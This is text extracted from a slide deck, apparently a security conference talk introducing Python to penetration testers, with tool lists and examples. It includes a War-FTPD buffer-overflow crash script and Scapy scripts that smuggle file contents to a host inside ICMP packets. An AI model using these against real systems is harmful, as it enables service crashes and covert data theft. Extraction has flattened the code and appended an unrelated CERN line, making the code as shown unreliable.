3 Flying made simple without the Nyquil hangover Overview of PythonFlying made simple without the Nyquil hangoverKeith Dixon@Tazdrumm3r
4 Agenda About me About Python Python basics Python’s uses Coding for Penetration Testers bookTips, tricks, observationsResources
5 About meWho am I?Husband/father/geek/gets distracted by shiny objects easyCareer path switched to IT in 1999, professionally in IT since 2001Learning, studying, and currently interviewing for infosec professional rolesVbscript – 2007Python – 2011
6 About Python Conceived in the late 1980’s by Guido van Rossum at CWI. Python 2.0 was release on October 16th, 2000Python 3.0 was released on December 2008
7 What is Python good for?Python comes with a large standard library that covers areas such as;string processingInternet protocolssoftware engineeringoperating system interfacesArtificial intelligence (because of similarities to Lisp)
8 What is Python good for?Extensive use in the information security industryExploit developmentNetworkDebuggingReverse engineeringfuzzing,WebForensicsMalware analysisPDF
9 What is Python good for?Easy to write short scripts for system admin work.Python code is easy to understand.Once the basic syntax is learned, even the most complicated scripts can make sense.
10 What is Python good for? Python is cross platform!! It will work on Linux, Windows, Mac and most every other OS.Many, many resources and a big, friendly community
11 Python toolsSocial-Engineer Toolkit - specifically designed to perform advanced attacks against the human element.Artillery - a honeypot/monitoring/prevention tool used to protect Linux-based systems.Fast-Track - aimed at helping Penetration Testers in an effort to identify, exploit, and further penetrate a network.Scapy - send, sniff and dissect and forge network packets. Usable interactively or as a libraryPytbull - flexible IDS/IPS testing framework (shipped with more than 300 tests)Scrapy - a fast high-level screen scraping and web crawling framework, used to crawl websites and extract structured data from their pagesW3af - a Web Application Attack and Audit Framework.
15 Python 101 Indentation does matter This will work But this won’t… startNumber = int(raw_input("Enter the start number here "))endNumber = int(raw_input("Enter the end number here "))def fib(n):if n < 2:return nreturn fib(n-2) + fib(n-1)print map(fib, range(startNumber, endNumber))But this won’t…startNumber = int(raw_input("Enter the start number here "))endNumber = int(raw_input("Enter the end number here "))def fib(n):if n < 2:return nreturn fib(n-2) + fib(n-1)print map(fib, range(startNumber, endNumber))
16 Python 101 All scripts are considered modules All functions inside module can be used or only certain methods can be used inside scriptEntire modulePartial method>>> import sys>>> from sys import argvHelp is built inHelp on modulesHelp on methods>>> Import sys, hashlib>>> help(sys)>>> help(hashlib)~$ pydoc sys~$ pydoc hashlib>>> help(sys.argv)>>> help(hashlib.sha512)~$ pydoc sys.argv~$ pydoc hashlib.sha512
17 Python 101 It can be ran interactively Scripts Via command prompt Via shell~ $ pythonPython 2.72Type “help”, “copyright”..>>>IDLEDreamPieIpythonWindowsLinuxFile extensions*.py – Python script*pyc – Compiled Python file (generated by running script)Running scripts.py file extension associated with python.exeShould have #!/usr/bin/python at the top of the script in case you want to run it on LinuxIf the path to the interpreter is in your system path, you can doubleclick script to run, otherwise… C:\Users\Keith>python password.pyFile extensions (optional)Must have #!/usr/bin/python (path to python) at the top of the scriptIf you’re running it from the terminal, the script must be chmod’ed to make it executable or you can call python and the script name…~ $ python password.pyScripts
18 Python 102 Data types Conditional statements Numbers String List (mutable)Tuple (non mutable)A = 10B = 0100 or B = 0x41 or B = 0bC = 3.56D = 3.16jIntegersLong integers (octal, hex, binary)FloatcomplexA = ‘This is a string’print Aprint Aprint A[3:6]print A[4:]print A * 2print A + “ and this is how it prints”'This is a string'‘T’‘s i’‘ is a string’list = [‘abc’, 45, ‘The Avengers’, 0x67, ‘def’, 15.5]print listprint list print list [1:3]print list[2:]list.append[“Detroit”]list = [‘abc’, 45, ‘The Avengers’, 0x67, ‘def’, 15.5,’Detroit’]list = (‘abc’, 45, ‘The Avengers’, 0x67, ‘def’, 15.5)list.append(“Detroit”)AttributeError: 'tuple' object has no attribute 'append’Conditional statementsIf statementElse statementElif statementif x = true:print trueif x = 1:print “1”else:print “not 1”if expression1:statement(s)elif expression2:
19 Python 102 Looping Functions While loop For loop Loop control count = 0while (count < 9):print 'The count is:', countcount = count + 1print "Good bye!"code1 = (sys.argv)code_split = code1.split(':')for i in code_split:code1a = int(i)codefinal = chr(code1a)sys.stdout.write(codefinal)if count = 7:breakFunctionsCreating a functionIn usedef base64_decode(base64_key):answer=base64_key.decode('base64','strict')print answer>>>csaw.base64_decode(‘V2VsY29tZSB0byBCc2lkZXMgRGV0cm9pdCAyMDEyLiBNYWtlIHN1cmUgdG8gdGhhbmsgUnlhbiwgU3RldmVuLCBXb2xmZ2FuZywgYW5kIEt5bGUgZm9yIGFsbCB0aGUgaGFyZCB3b3JrIHRoZXkgZGlkIHRvIG1ha2UgdGhpcyB5ZWFyIHN1Y2ggYSBzdWNjZXNzIQ==‘)>>> Welcome to Bsides Detroit Make sure to thank Ryan, Steven, Wolfgang, and Kyle for all the hard work they did to make this year such a success!
20 Python 102 Files Input/output Open a file for reading Write to a file #!/usr/bin/pythonf = open ('base64.txt', 'r')file = f.read()answer=file.decode('base64','strict')print answerf.close ( )import sysif len(sys.argv)<2:sys.exit("Usage " + sys.argv + " <Base64 code you wish to decode>\n")basecode = sys.argvanswer=basecode.decode('base64','strict')fo = open("base64.txt", "w")fo.write(answer)fo.close()Filesraw_inputinput#!/usr/bin/pythonstr = raw_input("Enter your input: ");print "Received input is : ", strInput is Thanks for coming to BsidesOutput is Received input is : Thanks for coming to Bsidesstr = input("Enter your input: ");Input is 5 * 5Output is 25Input/output
22 Cryptography Encode Base64 code Encode ROT13 code #!/usr/bin/python code = raw_input("Enter the data you wish to be encoded to Base64")answer=code.encode('base64','strict')print answerEncode ROT13 code#!/usr/bin/pythoncode = raw_input("Enter the data you wish to be encoded to Base64")answer=code.encode('base64','strict')print answer
23 Decrypt module #!/usr/bin/python import sys def hexdecode(hex_key): import binasciihex_split = hex_key.split(':')for decode in hex_split:hex_decode = binascii.a2b_hex(decode)sys.stdout.write(hex_decode)def uni_decode(unicode_key):unicode_split=unicode_key.split(':')for i in unicode_split:code1a = int(i)codefinal = chr(code1a)sys.stdout.write(codefinal)def base64_decode(base64_key):answer=base64_key.decode('base64','strict')print answerdef binary_decode(binary_key):import mathf = lambda v, l: [v[i*l:(i+1)*l] for i in range(int(math.ceil(len(v)/float(l))))]basecode = f (binary_key,8)for code in basecode:x = (code)decodea = int(code,2)decodeb = chr(decodea)sys.stdout.write(decodeb)def rot13_decode(rot13_key):answer=rot13_key.decode('rot13','strict')
26 Password creation ##Author: ATC ##Please score this on activestate import string, randomprint "How many characters would you like the password to have?"print "Must be nine or more"length = input ()password_len = lengthpassword = for group in (string.ascii_letters, string.punctuation, string.digits):password += random.sample(group, 3)password += random.sample(string.ascii_letters + string.punctuation + string.digits, password_len - len(password))random.shuffle(password)password = ''.join(password)print password
27 Use files (write to/read from) Read from a file#!/usr/bin/pythonf = open ('base64.txt', 'r')file = f.read()answer=file.decode('base64','strict')f.close ( )Write to a file#!/usr/bin/pythoncode = raw_input("Enter the data you wish to be encoded to Base64")answer=code.encode('base64','strict')f=open('base64.txt','w')line=f.write(answer)f.close ( )
28 Python’s uses – Networking Scapy: send, sniff and dissect and forge network packets. Usable interactively or as a libraryPytbull: flexible IDS/IPS testing framework (shipped with more than 300 tests)Mallory, man-in-the-middle proxy for testingmitmproxy: SSL-capable, intercepting HTTP proxy. Console interface allows traffic flows to be inspected and edited on the flyImpacket: craft and decode network packets. Includes support for higher-level protocols such as NMB and SMBKnock Subdomain Scan, enumerate subdomains on a target domain through a wordlistpypcap, Pcapy and pylibpcap: several different Python bindings for libpcaplibdnet: low-level networking routines, including interface lookup and Ethernet frame transmissiondpkt: fast, simple packet creation/parsing, with definitions for the basic TCP/IP protocolspynids: libnids wrapper offering sniffing, IP defragmentation, TCP stream reassembly and port scan detectionDirtbags py-pcap: read pcap files without libpcapflowgrep: grep through packet payloads using regular expressionshttplib2: comprehensive HTTP client library that supports many features left out of other HTTP libraries
29 Scapy www.secdev.org/projects/scapy/ Packet creation Read PCAP files Create graphical dumpsMust have appropriate supporting tools installedFuzzingSend and receive packetsTCP traceroute (can do graphical dump as well)SniffingSend and receive files through alternate data channels (ICMP)PingARP pingICMP pingTCP pingUDP pingWireless frame injectionOS FingerprintingClassic attacksMalformed packetsPing of deathNestea attackARP cache poisoningScansSYN scanACK scanXMAS scanIP scanTCP port scanIKE scanAdvanced tracerouteTCP SYN tracerouteUDP tracerouteDNS tracerouteVLAN hoppingWireless sniffingFirewalking
48 Scapy To send packets via ICMP #!/usr/bin/python import sys from scapy.all import *conf.verb = 0f = open(sys.argv)data = f.read()f.close()host = sys.argvprint "Data size is %d " %len(data)i = 0while i<len(data):pack = IP(dst=host)/ICMP(type="echo-reply")/data[i:i+32]send(pack)i = i+32print "Data sent"
49 Scapy To receive packets via ICMP #!/usr/bin/python import sys from scapy.all import *conf.verb=0f=open(sys.argv,"w")host=sys.argvcount = int(sys.argv)filter="icmp and host " + hostprint "sniffing with filter (%s) for %d bytes" % (filter,int(count))packets = sniff(count,filter=filter)for p in packets:f.write(p['Raw'].load)f.close()print "Data received"
50 Python’s uses – Debugging and Reverse Engineering Immunity Debugger: scriptable GUI and command line debuggermona.py: PyCommand for Immunity Debugger that replaces and improves on pvefindaddrPaimei: reverse engineering framework, includes PyDBG, PIDA, pGRAPHIDAPython: IDA Pro plugin that integrates the Python programming language, allowing scripts to run in IDA Propefile: read and work with Portable Executable (aka PE) filespydasm: Python interface to the libdasm x86 disassembling libraryPyDbgEng: Python wrapper for the Microsoft Windows Debugging Engineuhooker: intercept calls to API calls inside DLLs, and also arbitrary addresses within the executable file in memorydiStorm64: disassembler library for AMD64, licensed under the BSD licensepython-ptrace: debugger using ptrace (Linux, BSD and Darwin system call to trace processes) written in Pythonvdb / vtrace: vtrace is a cross-platform process debugging API implemented in python, and vdb is a debugger which uses it (mirror)Androguard: reverse engineering and analysis of Android applications
51 Incomplete* Coding for Pentesters - Exploitation scripting * I had a valid excuse. He even wrote me a permission slip, True story!
52 Coding for Pentesters – Exploitation scripting Building Exploits with PythonWindows XP SP0War-FTPD v 1.65Immunity Debugger
53 Coding for Pentesters – Exploitation scripting Step 1 – Open WarftpD with Immunity
54 Coding for Pentesters – Exploitation scripting Step 2 – Run WarFTPD by pressing F9 and then set it to GoOnline.
55 Coding for Pentesters – Exploitation scripting Step 3 – Build this script and run it…. and enjoy the show #!/usr/bin/pythonimport sysimport sockethostname = sys.argvusername = "A"*1024passwd = "anything"sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:sock.connect((hostname, 21))except:print ("[-] Connection error!")sys.exit(1)r = sock.recv(1024)print "[+] " + rsock.send("user %s\r\n" %username)sock.send("pass %s\r\n" %passwd)sock.close()
59 Python’s uses – Malware analysis torwget.py: Multi-platform TOR-enabled URLclamav_to_yara.py: Convert ClamAV antivirus signatures to YARA rulespeid_to_yara.py: Convert PEiD packer signatures to YARA rulesav_multiscan.py: Script to implement your own antivirus multi-scannerpescanner.py: Detect malicious PE file attributesssdeep_procs.py: Detect self-mutating code on live Windows systems using ssdeepavsubmit.py: Command-line interface to VirusTotal, ThreatExpert, Jotti, and NoVirusThanksdbmgr.py: Malware artifacts database managerartifactscanner.py: Application to scan live Windows systems for artifacts (files, Registry keys, mutexes) left by malwaremapper.py: Create static PNG images of IP addresses plotted on a map using GeoIPgooglegeoip.py: Create dynamic/interactive geographical maps of IP addresses using Google chartssc_distorm.py: Script to produce disassemblies (via DiStorm) of shellcode and optionally apply an XOR maskvmauto.py: Python class for automating malware execution in VirtualBox and VMware guestsmybox.py: Sample automation script for VirtualBox based on vmauto.py
60 Python’s uses – Malware analysis myvmware.py: Sample automation script for VMware based on vmauto.pyanalysis.py: Python class for building sandboxes with support for analyzing network traffic, packet captures, and memoryscd.py: Immunity Debugger PyCommand for finding shellcode in arbitrary binary filesfindhooks.py: Immunity Debugger PyCommand for finding Inline-style user mode API hookspymon.py: WinAppDbg plug-in for monitoring API calls, alerting on suspicious flags/parameters and producing an HTML reportxortools.py: Python library for encoding/decoding XOR, including brute force methods and automated YARA signature generationtrickimprec.py: Immunity Debugger PyCommand for assistance when rebuilding import tables with Import REconstructorkraken.py: Immunity Debugger PyCommand for cracking Kraken’s Domain Generation Algorithm (DGA)sbstrings.py: Immunity Debugger PyCommand for decrypting Silent Banker stringsinstall_svc.py: Python script for installing a service DLL and supplying optional arguments to the servicedll2exe.py: Python script for converting a DLL into a standalone executablewindbg_to_ida.py: Python script to convert WinDbg output into data that can be imported into IDA
63 Python’s uses – Fuzzing Sickfuzz: a fuzzer made out of several custom .spk files and a python script to wrap them up, including some tshark support and other features.Sulley: fuzzer development and fuzz testing framework consisting of multiple extensible componentsPeach Fuzzing Platform: extensible fuzzing framework for generation and mutation based fuzzingantiparser: fuzz testing and fault injection APITAOF, including ProxyFuzz, a man-in-the-middle non-deterministic network fuzzerPowerfuzzer: highly automated and fully customizable web fuzzer (HTTP protocol based application fuzzer)FileP: file fuzzer. Generates mutated files from a list of source files and feeds them to an external program in batchesMistress: probe file formats on the fly and protocols with malformed data, based on pre-defined patternsFuzzbox: multi-codec media fuzzerForensic Fuzzing Tools: generate fuzzed files, fuzzed file systems, and file systems containing fuzzed files in order to test the robustness of forensics tools and examination systemsWindows IPC Fuzzing Tools: tools used to fuzz applications that use Windows Interprocess Communication mechanismsWSBang: perform automated security testing of SOAP based web servicesConstruct: library for parsing and building of data structures (binary or textual). Define your data structures in a declarative mannerfuzzer.py (feliam): simple fuzzer by Felipe Andres ManzanoFusil: Python library used to write fuzzing programs
67 Python’s uses – Forensics Volatility: extract digital artifacts from volatile memory (RAM) samplesSandMan: read the hibernation file, regardless of Windows versionLibForensics: library for developing digital forensics applicationsTrIDLib, identify file types from their binary signatures. Now includes Python bindingaft: Android forensic toolkit
69 Python’s uses – Miscellaneous InlineEgg: toolbox of classes for writing small assembly programs in PythonExomind: framework for building decorated graphs and developing open-source intelligence modules and ideas, centered on social network services, search engines and instant messagingRevHosts: enumerate virtual hosts for a given IP addresssimplejson: JSON encoder/decoder, e.g. to use Google's AJAX APIPyMangle: command line tool and a python library used to create word lists for use with other penetration testing tools (abandoned?)Hachoir: view and edit a binary stream field by fieldOther useful libraries and toolsIPython: enhanced interactive Python shell with many features for object introspection, system shell access, and its own special command systemBeautiful Soup: HTML parser optimized for screen-scrapingMayavi: 3D scientific data visualization and plottingTwisted: event-driven networking engineSuds: lightweight SOAP client for consuming Web ServicesM2Crypto: most complete OpenSSL wrapperNetworkX: graph library (edges, nodes)pyparsing: general parsing modulelxml: most feature-rich and easy-to-use library for working with XML and HTML in the Python languageWhoosh: fast, featureful full-text indexing and searching library implemented in pure PythonPexpect: control and automate other programs, similar to Don Libes `Expect` systemSikuli, visual technology to search and automate GUIs using screenshots. Scriptable in JythonPyQt and PySide: Python bindings for the Qt application framework and GUI library
70 Coding for Penetration Testers book ScriptFunctionLearnedWebcheck_v1.pyMonitor web server – verify it remains upScript argumentsConnect to web server and run a GET requestWebcheck_v2.pyMonitor web server – verify it remains up (default to port 80)Alternate script arguments methodSubnetcalc.pyCalculate subnet mask, broadcast address, network range, and gateway from IP/CIDRParse out values programmaticallyMath functions with variablesDisplaying resultsUsing FOR loopsPass.pyDetermines if users are using the original default assigned passwordUse the crypt moduleRobotparser.pyRetrieve the paths from the robot.txtParse the robots.txt file with the built robotparser moduleNesting FOR loopsroot_check.pyChecks to see what permissions logged in account has (normal user, root or system account)Using IF and ELIF conditional statementsUse OS module to make system callsReadshadow.pyChecks to see if you have permission to read /etc/shadowTests permissions on files to see if current credentials can read fileNetwork_socket.pyConnect to website, pull contents (hard coded)Network socket creationSpaces will bite you in the ass where you least expect it.
71 Coding for Penetration Testers book ScriptFunctionLearnednetwork_socket_argument.pyConnect to website, pull contents (site specified by argument)Network socket creationSpaces will bite you in the ass where you least expect it.Server_connect.pyOnce a connection is made, send back a stringAllow incoming connections.receiveICMP.pyTo receive a file from another system via ICMP (in conjunction with sendICMP.py)Python script using ScapysendICMP.pyTo send a file to another system via ICMP (in conjunction with receiveICMP.py)
72 Little gems I found Description Function Site Python-nmap It’s a Python library which helps in using nmap.Python API to the VirtualBox VMAllowing you to control every aspect of virtual machine configuration and executionPy2Exepy2exe is a Python Distutils extension which converts Python scripts into executable Windows programs, able to run without requiring a Python installation.Chrome extensions/applicationsVarious extensions/applications found in the Chrome Webstorehttps://chrome.google.com/webstore/detail/gdiimmpmdoofmahingpgabiikimjgcia <-- Python shell (browser button)https://chrome.google.com/webstore/detail/cmlchnlmkdcpelgmkebknjgjgddncelc - Python shell (Chrome application)https://chrome.google.com/webstore/detail/nckbgikkpbjdliigbhgjfgfcahhonakp <-- Online Python development environment
73 Little gems I found Extra extra credit Description Function Site TweepyIt’s the best working Python library to interface with Twitter (so far)
74 Tweepy Direct message Check friends timelines Create favorites
75 Tips, tricks, etc.IDE (http://wiki.python.org/moin/IntegratedDevelopmentEnvironments)WindowsPyScripterAptana StudioIDLENinjaWing IDELinuxGeanyPython ToolkitSPEERIC (supposed to have auto-complete of code…)Editors (http://wiki.python.org/moin/PythonEditors)WindowsNotepad++LinuxGeditSCiTE
76 Tips, tricks, etc. Shells Other DreamPie Automatic of completion of attributes and file namesHistory boxCode boxIDLEIncluded with Python installIpythonPyShellGuakeOtherPythonAnywhere
77 Tips, tricks, etc. Linux vs. Windows Linux Linux scripts can be ran via terminalcalling python <script name>by putting #!/usr/bin/python at the top (path to interpreter) and typing ./<script name>Common problem on PyScripter (awesome Windows Python IDE)… extra code comments are put at the top, then the #! /usr/bin/pythonWindowsWindows scripts don’t need the #! but need to have .py associated with Python interepreter.Scripts can be double clicked or ran from command prompt python <script name>If the script is double clicked, without having raw_input("Press ENTER to exit") you may not see the output of the script.
78 Tips, tricks, etc. Portable Python (Windows only) Portable Python is a Python® programming language preconfigured to run directly from any USB storage device, enabling you to have, at any time, a portable programming environment. Just download it, extract to your portable storage device or hard drive and in 10 minutes you are ready to create your next Python® application.Portable Python package contains following applications/libraries:PyScripter v2.4.1NymPy 1.6.0SciPy 0.90Matplotlib 1.0.1 PyWin32 216Django 1.3PIL 1.1.7Py2Exe 0.6.9wxPythonPortable Python package contains following applications/libraries (alphabetical order):NetworkX v1.4PySerial 2.5PyWin32 v.216RPyC-3.0.7
80 Additional resources Beginners guides from Python Extra toolsOnline exercisesGeneral learning materials
81 Additional resources Free online videos Online booksOnline interactive tutorial/interpreterhttps://languageshells.appspot.com/ForumsModule/package repositoriesThe Python Package Index is a repository of software for the Python programming language. There are currently 17409 packages here.The ActiveState Code Recipes contains 3850 snippets to learn from and use.Python tools for penetration testers
82 Additional resources Training SecurityTube Python Scripting Expert Module 1: Python Scripting – Language EssentialsModule 2: System Programming and SecurityModule 3: Network Security Programming – Sniffers and Packet InjectorsModule 4: Attacking Web ApplicationsModule 5: Exploitation TechniquesModule 6: Malware Analysis and Reverse EngineeringModule 7: Attack Task AutomationModule 8: Further Study and RoadmapModule 9: Exam Pattern and Mock ExamPYTHON TRAINING FOR SECURITY PROFESSIONALSLog Parsing with PythonPcap Parsing with PythonNetwork Attack with PythonWeb Application Attack with PythonMalware Analysis with PythonExploit Development with Python
83 All the scripts Category Script Extra extra credit CSAW Crypto Redux – Challenge 1 to 5Extra creditCoding for Penetration Testers – part 1Coding for Penetration Testers – part 2Coding for Penetration Testers – part 3Extra extra credit
84 Etc.AntigravityWhen you open up ModulesDocs and click on antigravity module or from IDLE run import antigravity, a web browser opens to the XKCD cartoon at the beginning of this slide deck.Zen of PythonTo start the path of finding Zen of Python, remember these two key words… IMPORT THIS .From an IDE (IDLE) or a Python shell, run import this and the Zen of Python will be revealed.
Pyragen A PYTHON WRAPPER GENERATOR TO APPLICATION CORE LIBRARIES Fernando PEREIRA, Christian THEIS - HSE/RP EDMS tech note: https://edms.cern.ch/document/1343712/1https://edms.cern.ch/document/1343712/1.